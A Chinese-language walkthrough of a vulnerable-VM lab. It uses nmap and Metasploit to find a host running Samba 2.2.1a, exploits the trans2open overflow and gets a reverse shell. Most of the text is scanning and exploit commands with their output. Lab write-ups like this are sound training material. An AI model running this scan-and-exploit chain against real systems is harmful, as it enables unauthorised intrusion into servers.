1. 注意事项
靶机的配置文件.vmx
里的ethernet0开头的语句都要删掉,打开后自行新建网络适配器的NAT模式,不然无法使用NAT模式。
2. 发现存活主机
nmap -sn 192.168.198.1-254
扫描kali的C段地址,发现存活主机,-sn
表示对目标进行ping检测,不进行端口扫描。
$ nmap -sn 192.168.198.1-254
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-12 22:35 CST
Nmap scan report for 192.168.198.1
Host is up (0.0043s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.198.2
Host is up (0.00026s latency).
MAC Address: 00:50:56:F8:C8:21 (VMware)
Nmap scan report for 192.168.198.137
Host is up (0.00046s latency).
MAC Address: 00:50:56:29:17:A3 (VMware)
靶机IP地址为192.168.198.137
3. 扫描端口
nmap -sS -v 192.168.198.137
使用SYN扫描端口,显示扫描过程的详细信息。
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm
发现开启了TCP 139高危端口,跟进看看该端口具体开启了什么服务,服务是什么版本。
4. 版本探测
nmap -sS -sV 192.168.198.137
使用SYN扫描,显示端口版本的详细信息。(sV可以用service version来记忆)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp open status 1 (RPC #100024)
TCP 139端口对应的是samba服务,但还是看不到具体的版本,这时候用msf来看版本信息。
5. 再次进行版本探测
msfconsole
#开启msf控制台
use auxiliary/scanner/smb/smb_version
#加载模块
set rhosts 192.168.198.137
#设置参数
run
#运行
[*] 192.168.198.137:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)
[*] 192.168.198.137:139 - Host could not be identified: Unix (Samba 2.2.1a)
[*] 192.168.198.137: - Scanned 1 of 1 hosts (100% complete)
发现是Samba 2.2.1a版本
6. 搜索漏洞
searchsploit Samba 2.2.1a
在msf使用searchsploit进行sploit模块的搜索。
------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------- ---------------------------------
Samba 2.2.0 < 2.2.8 (OSX) - trans2open Overflow (Metasploit) | osx/remote/9924.rb
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
------------------------------------------------------------- ---------------------------------
使用第一个trans2open进行漏洞利用。
search trans2open
#搜索该漏洞利用
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/freebsd/samba/trans2open 2003-04-07 great No Samba trans2open Overflow (*BSD x86)
7. 漏洞利用
use exploit/freebsd/samba/trans2open
options
set RHOSTS 192.168.198.137
set payload linux/x86/shell_reverse_tcp
run
成功拿到权限!
关于trans2open漏洞,这是博主在网上搜到的相关原理的文章,但看不太懂,贴上:https://blog.csdn.net/qq_43443410/article/details/119255028